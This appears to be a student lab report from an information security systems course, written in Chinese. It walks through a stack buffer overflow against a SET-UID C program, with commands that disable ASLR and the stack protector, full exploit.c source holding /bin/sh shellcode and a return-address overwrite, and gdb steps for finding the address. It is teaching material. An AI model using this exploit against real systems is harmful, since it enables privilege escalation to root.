2018-2019-1 20165323《信息安全系统设计基础》缓冲区溢出漏洞实验报告

实验简介：

缓冲区溢出攻击：通过往程序的缓冲区写超出其长度的内容，造成缓冲区的溢出，从而破坏程序的堆栈，造成程序崩溃或使程序转而执行其它指令，以达到攻击的目的。

实验原理：

一般情况下，缓冲区溢出会造成程序崩溃，在程序中，溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址，那么程序就会跳转到该地址，如果该地址存放的是一段精心设计的代码用于实现其他功能，这段代码就是 shellcode。shellcode是存放程序的汇编代码。

实验步骤：

1、关闭地址空间随机化功能，使猜测随机堆（heap）和栈（stack）的初始地址更容易。
使用命令：
sudo sysctl -w kernel.randomize_va_space=0
2、使用另一个 shell 程序（zsh）代替 /bin/bash，以重现防范缓冲区溢出攻击及其它利用 shell 程序的攻击防护措施被实现之前的情形。
设置zsh程序命令：

$ sudo su
$ cd /bin
$ rm sh
$ ln -s zsh sh
$ exit
3、进入linux32位环境，输入“/bin/bash”使用bash

$ linux32
$ /bin/bash

4、在 /tmp 目录下新建一个 stack.c 文件，代码如图：

5、通过代码可以知道，程序会读取一个名为“badfile”的文件，并将文件内容装入“buffer”。编译该程序，并设置 SET-UID。命令如下：
$ sudo su
$ gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
$ chmod u+s stack
$ exit

GCC编译器有一种栈保护机制来阻止缓冲区溢出，所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。 而-z execstack用于允许执行栈。-g参数是为了使编译后得到的可执行文档能用gdb调试。
6、在 /tmp 目录下新建一个 exploit.c 文件，代码如下：

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
 #include <stdlib.h>
 #include <stdio.h>
 #include <string.h>

char shellcode[] =
    "\x31\xc0" //xorl %eax,%eax
    "\x50"     //pushl %eax
    "\x68""//sh" //pushl $0x68732f2f
    "\x68""/bin"     //pushl $0x6e69622f
    "\x89\xe3" //movl %esp,%ebx
    "\x50"     //pushl %eax
    "\x53"     //pushl %ebx
    "\x89\xe1" //movl %esp,%ecx
    "\x99"     //cdq
    "\xb0\x0b" //movb $0x0b,%al
    "\xcd\x80" //int $0x80
    ;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
    strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer，偏移量设为了 100

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

注意上面的代码，\x??\x??\x??\x??处需要添上shellcode保存在内存中的地址，因为发生溢出后这个位置刚好可以覆盖返回地址。而strcpy(buffer+100,shellcode);这一句又告诉我们，shellcode保存在buffer + 100的位置。下面我们将详细介绍如何获得我们需要添加的地址。

现在我们要得到 shellcode 在内存中的地址
输入命令：
$ gdb stack

$ disass main

接下来：

7、根据语句 strcpy(buffer + 100,shellcode); 我们计算 shellcode 的地址为 0xffffd2d0(十六进制) + 0x64(100的十六进制) = 0xffffd334(十六进制)

现在修改exploit.c文件！将 \x??\x??\x??\x?? 进行修改
然后，编译 exploit.c 程序：$ gcc -m32 -o exploit exploit.c
然后先运行攻击程序 exploit，再运行漏洞程序 stack，观察结果：

练习题：

1、通过命令 sudo sysctl -w kernel.randomize_va_space=2 打开系统的地址空间随机化机制，重复用 exploit 程序攻击 stack 程序，观察能否攻击成功，能否获得root权限。
2、将 /bin/sh 重新指向 /bin/bash（或/bin/dash），观察能否攻击成功，能否获得 root 权限。

练习中遇到的问题：

在计算十六进制时结果出现错误，出现以下情况，后面经过重新使用gdb反汇编，重新计算得到正确结果